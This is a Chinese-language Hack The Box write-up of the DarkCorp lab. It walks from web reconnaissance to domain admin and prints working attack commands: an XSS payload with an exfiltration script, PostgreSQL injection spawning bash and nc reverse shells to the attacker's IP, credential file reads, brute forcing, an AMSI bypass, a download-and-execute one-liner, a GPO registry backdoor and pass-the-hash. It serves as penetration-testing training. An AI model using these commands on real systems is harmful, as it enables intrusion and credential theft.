-
-
[原创]HTB-DarkCorp:深入企业的域控攻防
-
发表于: 2025-7-24 21:34 732
-
引言
Hack The Box 的赛季靶机 DarkCorp,难度 Insane。本文将带你以轻松的方式体验这场顶级难度的靶机挑战,深入剖析从外部突破到域管理员提权的完整过程。
技术点涉及:端口扫描、子域枚举、目录爆破、XSS 漏洞利用(CVE-2024-42008)、SQL 注入、PostgreSQL 命令执行、凭据窃取、邮件伪造、内网转发、日志分析、密码破解、备份解密、BloodHound 域分析、GPO 权限滥用、AMSI 绕过、域管理员提权。
目标与读者:网络安全爱好者、红队选手,适合对域渗透、Web 漏洞利用及 Active Directory 攻防感兴趣的从业者和学习者。

本机ip:10.10.16.2
目标ip:10.10.11.54
1 | nmap -sC -sV 10.10.11.54 |

先直接访问,发现跳转到了915K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3c8J5K9i4m8Q4x3X3g2Z5N6r3u0Q4c8e0g2Q4z5f1k6Q4z5f1k6Q4c8e0g2Q4z5e0m8Q4z5p5c8Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0c8Q4b7V1c8Q4z5o6k6Q4c8e0k6Q4z5e0N6Q4b7e0m8Q4c8e0k6Q4b7U0y4Q4z5e0g2Q4c8e0S2Q4b7V1k6Q4z5f1g2Q4c8e0k6Q4z5p5g2Q4b7e0f1`.
将域名和ip加入hosts
1 | echo "10.10.11.54 drip.htb" | sudo tee -a /etc/hosts |
能访问了
使用gobuster进行子域名爆破收集
1 | gobuster vhost -u http://drip.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain |

使用gobuster进行目录爆破收集
1 | gobuster dir -u http://drip.htb -t 20 -H 'User-Agent:Mozilla' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -b 401,403,404,500 -o 80.log |

将子域名加入hosts
1 | echo "10.10.11.54 mail.drip.htb" | sudo tee -a /etc/hosts |
发现可以sign up可以注册
先注册一个
账号1:bushsec
密码1:123456
登陆:

没什么收获,我们重新注册一个用户,以root当作账户名
账户2:root
密码2:123456

我们又有了两个收获
一是获得两个用户名:ebelford和support。
二是可以发现,每隔2分钟,网站会运行一个名为mail_clean.sh的脚本。
从About选项卡可以看到邮件系统的信息
接下来,我们把目光看向首页的Contact Us
使用yakit劫持,将support%40drip.htb改成我们的邮箱地址root%40drip.htb
在给support发邮件时,如果yakit中断并将地址改为我们的邮件地址,可以收到求助邮件,并得到 bcase用户名。
yakit中断后,发送的原始内容如下。
1 | message=<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=document.body.appendChild(Object.assign(document.createElement('script'),{src:'d08K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3e0m8Q4x3X3f1I4y4W2)9J5k6e0u0Q4x3V1k6Q4x3@1k6U0i4K6y4p5i4K6t1%4i4K6u0n7j5Y4c8G2j5g2)9J5z5r3c8G2j5%4g2E0k6h3&6@1i4K6u0W2k6r3!0U0N6h3#2W2L8Y4c8q4L8r3g2E0k6h3&6@1i4K6u0W2K9h3&6F1k6i4u0t1g2p5#2x3i4K6t1&6i4K6N6p5i4K6t1&6i4K6t1&6 foo=bar"> Foo </body>&content=html&recipient=bcase@drip.htb |
base64编码后如下。
1 | name=test&email=test%40test.com&message=%3Cbody+title%3D%22bgcolor%3Dfoo%22+name%3D%22bar+style%3Danimation-name%3Aprogress-bar-stripes+onanimationstart%3Ddocument.body.appendChild%28Object.assign%28document.createElement%28%27script%27%29%2C%7Bsrc%3A%27http%3A%2F%2F10.10.16.2%2F%3Fc%3D%27%2Bbtoa%28document.documentElement.innerHTML%29%7D%29%29++foo%3Dbar%22%3E%0D%0A++Foo%0D%0A%3C%2Fbody%3E&content=html&recipient=bcase%40drip.htb |
content=html暗示服务端将message作为 HTML 内容渲染
这是利用漏洞的前提。message=中直接插入<body>标签,包含了 HTML 属性注入和 JS 执行:- 触发点:PHPMailer 在未净化的情况下将 message 作为 HTML 写入邮件内容中
HTMX 在处理 HX-Request 请求的响应时,对于 text/html 类型的内容会直接 innerHTML 替换页面部分内容,从而造成 XSS。若 HTMX 的响应中带有 <body> 标签,而解析器允许这个 body 的属性触发事件(例如 onanimationstart),就可能造成 非传统的 HTML 属性注入 + JS 执行链。
从网上寻找自动化脚本,我们只需要修改ip即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 | import sysimport requestsfrom http.server import BaseHTTPRequestHandler, HTTPServerimport base64import threadingfrom lxml import html# ConfigurationTARGET_URL = 'c39K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3c8J5K9i4m8Q4x3X3g2Z5N6r3u0Q4x3V1k6U0L8$3&6@1j5h3y4@1i4K6t1%4LISTEN_PORT = 8000LISTEN_IP = '10.10.16.2'# Payload for the POST requeststart_mesg = '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'/?_task=mail&_action=show&_uid='message = sys.argv[1]end_mesg = '&_mbox=INBOX&_extwin=1\').then(r=>r.text()).then(t=>fetch(`011K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3e0m8Q4x3X3f1I4y4W2)9J5k6e0u0Q4x3@1p5^5x3o6l9H3i4K6u0r3j5#2)9K6c8q4)9J5y4q4)9%4b7X3u0@1L8$3q4Q4x3U0S2@1i4K6t1&6i4K6N6p5i4K6j5H3i4K6t1&6i4K6t1&6 foo=bar">Foo</body>'post_data = { 'name': 'asdf', 'email': 'asdf', 'message': f"{start_mesg}{message}{end_mesg}", 'content': 'html', 'recipient': 'bcase@drip.htb'}print(f"{start_mesg}{message}{end_mesg}")# Headers for the POST requestheaders = { 'Host': 'drip.htb', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'Origin': 'b41K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3c8J5K9i4m8Q4x3X3g2Z5N6r3u0Q4x3U0M7`., 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Referer': 'f4dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3c8J5K9i4m8Q4x3X3g2Z5N6r3u0Q4x3V1k6A6L8X3c8W2P5q4)9J5y4H3`.`., 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.9', 'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE', 'Connection': 'close'}# Function to send the POST requestdef send_post(): response = requests.post(TARGET_URL, data=post_data, headers=headers) print(f"[+] POST Request Sent! Status Code: {response.status_code}")# Custom HTTP request handler to capture and decode the incoming dataclass RequestHandler(BaseHTTPRequestHandler): def do_GET(self): if '/c=' in self.path: encoded_data = self.path.split('/c=')[1] decoded_data = base64.b64decode(encoded_data).decode('latin-1') print(f"[+] Received data {decoded_data}") tree = html.fromstring(decoded_data) # XPath query to find the div with id 'messagebody' message_body = tree.xpath('//div[@id="messagebody"]') # Check if the div exists and extract the content if message_body: print(f"message_body lengith is:{len(message_body)}") for bd in message_body: # Extract inner text, preserving line breaks #message_text = message_body[0].text_content().strip() message_text = bd.text_content().strip() print("[+] Extracted Message Body Content:\n") print(message_text) else: print("[!] No div with id 'messagebody' found.") else: print("[!] Received request but no data found.") self.send_response(200) self.end_headers() self.wfile.write(b'OK') def log_message(self, format, *args): return # Suppress default logging# Function to start the HTTP serverdef start_server(): server_address = (LISTEN_IP, LISTEN_PORT) httpd = HTTPServer(server_address, RequestHandler) print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...") httpd.serve_forever()# Run the HTTP server in a separate threadserver_thread = threading.Thread(target=start_server)server_thread.daemon = Trueserver_thread.start()# Send the POST requestsend_post()# Keep the main thread alive to continue listeningtry: while True: passexcept KeyboardInterrupt: print("\n[+] Stopping server.") |
执行
1 | python3 1.py 2 |
将uid改为2后,我们得到
得到一个新的域名dev-a3f1-01.drip.htb,且邮件说Bryce(也就是bcase用户)登录时需要重置密码。将新域名加入hosts后访问,这个界面有一个Reset Password选项。
首先添加hosts
1 | echo "10.10.11.54 dev-a3f1-01.drip.htb" | sudo tee -a /etc/hosts |
进入控制台
进入Login页面后选择Reset Password

输入 bcase@drip.htb,点击reset,显示Reset token sent successfully.
发送reset指令后,使用刚才的脚本访问uid=3的邮箱,速度要快。
截获到邮箱地址
访问重置连接
重置密码为123456
显示Password successfully changed. 即为重置成功
成功登陆控制台
搜索框随便输入数字测试数据库
发现这是一个postgresql的系统,通过SQL注入,可以获得不少的信息。
1 | ''; SELECT * FROM pg_ls_dir('/etc/'); |

经过慢慢查找,在/var/www/html/dashboard/.env里查到数据库相关配置。
1 | ''; SELECT pg_read_file('/var/www/html/dashboard/.env', 0, 10000); |

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | # True for development, False for productionDEBUG=False# Flask ENVFLASK_APP=run.pyFLASK_ENV=development# If not provided, a random one is generated # SECRET_KEY=<YOUR_SUPER_KEY_HERE># Used for CDN (in production)# No Slash at the endASSETS_ROOT=/static/assets# If DB credentials (if NOT provided, or wrong values SQLite is used) DB_ENGINE=postgresqlDB_HOST=localhostDB_NAME=dripmailDB_USERNAME=dripmail_dbaDB_PASS=2Qa2SsBkQvscDB_PORT=5432SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'SQLALCHEMY_TRACK_MODIFICATIONS = TrueSECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'MAIL_SERVER = 'drip.htb'MAIL_PORT = 25MAIL_USE_TLS = FalseMAIL_USE_SSL = FalseMAIL_USERNAME = NoneMAIL_PASSWORD = NoneMAIL_DEFAULT_SENDER = 'support@drip.htb' |
接着就是获取shell了
1 | '';DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.16.2/1234 0>&1"'''; EXECUTE c; END $$; |
得到shell,并查看自己的权限
检查hosts,发现内网机器
1 2 | ''; (SELECT password FROM "Users")''; (SELECT password FROM "Admin") |

这些hash爆破不出来
先查看数据库版本
1 | ''; SELECT version(); |

尝试查看它的log文件
1 | ''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log', 0, 10000000); |
这个日志是空的,看看旧的
1 | ''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log.1', 0, 10000000); |
依旧毫无所获。但我们通过
1 | ''; SELECT * FROM pg_ls_dir('/var/log/postgresql/'); |

发现还有很多压缩的日志文件,我们回到shell,对其进行解压缩
1 2 | cd /var/log/postgresql/gzip -d -k postgresql-15-main.log.2.gz |
继续查看
1 | ''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log.2', 0, 10000000); |

得到ebelford用户的密码hash为8bbd7f88841b4223ae63c8848969be86
解密获得密码:ThePlague61780
1 | sshpass -p'ThePlague61780' ssh -o StrictHostKeyChecking=no ebelford@drip.htb |

在/var/backups目录中,我们可以找到数据库用户postgres的备份:
1 2 | ebelford@drip:~$ ls -la /var/backups | grep postgresdrwx------ 2 postgres postgres 4096 Feb 5 12:52 postgres |
我们需要一个PostgreSQL用户。让我们看看Web应用程序
1 2 3 4 5 6 7 8 9 10 11 12 | ebelford@drip:~$ ls -la /var/www/html/dashboard/total 36drwxr-xr-x 5 root root 4096 Jan 16 2025 .drwxr-xr-x 4 root root 4096 Jan 13 2025 ..-rw-r--r-- 1 root root 796 Jan 15 2025 .envdrwxr-xr-x 2 root root 4096 Jan 10 2025 __pycache__lrwxrwxrwx 1 root root 18 Dec 19 2024 app_venv -> /var/www/app_venv/drwxr-xr-x 7 root root 4096 Jan 10 2025 apps-rw-r--r-- 1 root root 198 Dec 17 2024 gunicorn-cfg.pydrwxr-xr-x 2 root root 4096 Jan 10 2025 media-rw-r--r-- 1 root root 330 Dec 17 2024 requirements.txt-rw-r--r-- 1 root root 1037 Dec 19 2024 run.py |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | ebelford@drip:~$ cat /var/www/html/dashboard/.env# True for development, False for productionDEBUG=False# Flask ENVFLASK_APP=run.pyFLASK_ENV=development# If not provided, a random one is generated # SECRET_KEY=<YOUR_SUPER_KEY_HERE># Used for CDN (in production)# No Slash at the endASSETS_ROOT=/static/assets# If DB credentials (if NOT provided, or wrong values SQLite is used) DB_ENGINE=postgresqlDB_HOST=localhostDB_NAME=dripmailDB_USERNAME=dripmail_dbaDB_PASS=2Qa2SsBkQvscDB_PORT=5432SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'SQLALCHEMY_TRACK_MODIFICATIONS = TrueSECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'MAIL_SERVER = 'drip.htb'MAIL_PORT = 25MAIL_USE_TLS = FalseMAIL_USE_SSL = FalseMAIL_USERNAME = NoneMAIL_PASSWORD = NoneMAIL_DEFAULT_SENDER = 'support@drip.htb' |
得到数据库密码是2Qa2SsBkQvsc
接着让我们获得这个shell
本机执行
1 | nc -lnvp 4242 |
ebelford的shell执行
1 | psql -h localhost -U dripmail_dba -d dripmail |
1 | COPY (SELECT pg_backend_pid()) TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.2 4242 >/tmp/f'; |

拿到权限
首先本机生成密钥对
1 | ssh-keygen -t ed25519 -f ~/.ssh/drip_key |
查看公钥
1 | cat ~/.ssh/drip_key.pub |

postgres@drip上将自己的公钥echo上去
1 | mkdir -p ~/.ssh |
1 | echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOjO8SJLIkNvr+JMFxdzVJsEyyLZKpH6lxlamKQap42U root@kali" > ~/.ssh/authorized_keys |
本机ssh连接
1 | ssh -i ~/.ssh/drip_key postgres@drip.htb |
拿下权限
看看备份
1 2 3 4 5 | postgres@drip:~$ ls -la /var/backups/postgres/total 12 drwx------ 2 postgres postgres 4096 Feb 5 12:52 . drwxr-xr-x 3 root root 4096 Feb 11 08:10 .. -rw-r--r-- 1 postgres postgres 1784 Feb 5 12:52 dev-dripmail.old.sql.gpg |
让我们尝试使用数据库密码解密旧备份
1 | gpg --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback --passphrase '2Qa2SsBkQvsc' --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > /var/backups/postgres/dev-dripmail.old.sql |
解密成功
查看内容
1 | cat /var/backups/postgres/dev-dripmail.old.sql |
拿到密钥
1 2 3 | 1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb 2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb 3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb |

得到新的账号密码
账号:victor.r
密码:victor1gustavo@#
现在我们应该扫描内部网络以查找主机和开放端口
让我们使用sshuttle进行转发:
1 | sshuttle -r ebelford:'ThePlague61780'@drip.htb -N 172.16.20.0/24 |
别忘了hosts
1 2 | echo "172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb" | sudo tee -a /etc/hostsecho "172.16.20.3 drip.darkcorp.htb" | sudo tee -a /etc/hosts |
转发完成后,我们ping一下试试
通了,接下来我们nmap
1 | nmap -sCTV -Pn -vvv 172.16.20.2 |
发现了80,5000两个端口,我们访问一下这两个界面

但端口80是空的,但端口5000有基本认证,我们可以使用Victor的凭据登录:
别忘了hosts添加
1 | echo "172.16.20.2 WEB-01 WEB-01.darkcorp.htb" | sudo tee -a /etc/hosts |
让我们部分使用proxychains4并将域名导出到Bloodhound:
1 | sshpass -p'ThePlague61780' ssh -o StrictHostKeyChecking=no -D 1080 ebelford@drip.htb |
1 | sudo apt install proxychains4 |
1 | sudo vim /etc/proxychains4.conf |
增加
1 2 3 4 | dnat 10.10.11.54 172.16.20.1[ProxyList]socks5 127.0.0.1 1080 |
本机执行
1 | proxychains4 bloodhound-python -u victor.r@darkcorp.htb -p 'victor1gustavo@#' -dc dc-01.darkcorp.htb --dns-tcp -ns 172.16.20.1 --dns-timeout 10 -c ALL -d darkcorp.htb --zip |


收集成功!!!
1 | sudo impacket-ntlmrelayx -t ldaps://172.16.20.1 -debug -i -smb2support |

我一直未能成功常规途径,应该是先取得172.16.20.2这个网站的权限,利用ntlmrelayx攻击取得该机的系统权限,可是在我的机器上一直没有成功(卡死。或许是因为我的网络问题)。
那么只能用爆破了
1 | hydra -l taylor.b.adm -P /usr/share/wordlists/rockyou.txt -o test.log -vV ldap3://172.16.20.1 |
取得taylor.b.adm的密码!QAZzaq1。
绕过AMSI(反恶意软件扫描接口)
1 | $a = [Ref].Assembly.GetTypes() | ?{$_.Name -like '*siUtils'};$b = $a.GetFields('NonPublic,Static') | ?{$_.Name -like '*siContext'};[IntPtr]$c =$b.GetValue($null);[Int32[]]$d = @(0xff);[System.Runtime.InteropServices.Marshal]::Copy($d, 0, $c, 1) |
本机启动服务器,要有PowerGPOAbuse.ps1的目录下启动
下载PowerGPOAbuse脚本
1 | iex(New-Object Net.WebClient).DownloadString('2f0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3e0m8Q4x3X3f1I4y4W2)9J5k6e0u0Q4x3@1p5^5x3o6V1H3i4K6u0r3f1r3!0%4k6i4u0s2f1p5!0m8j5Y4g2K6k6g2)9J5k6i4m8K6x3g2)9J5y4H3`.`.) |
将用户添加到GPO组
1 | Add-GPOGroupMember -Member 'taylor.b.adm' -GPOIdentity 'SecurityUpdates' |
设置恶意注册表项
1 | Set-GPRegistryValue -Name "SecurityUpdates" -key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "backdoor" -Type String -Value "powershell -ExecutionPolicy Bypass -NoProfile -Command `"Add-LocalGroupMember -Group 'Administrators' -Member taylor.b.adm`"" |

强制更新策略
1 | gpupdate /force |
确认权限
1 | net localgroup administrators |

本机执行
1 | impacket-secretsdump 'darkcorp.htb/taylor.b.adm:!QAZzaq1@172.16.20.1' |

拿到hash
1 | evil-winrm -i 172.16.20.1 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f |
root.txt
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!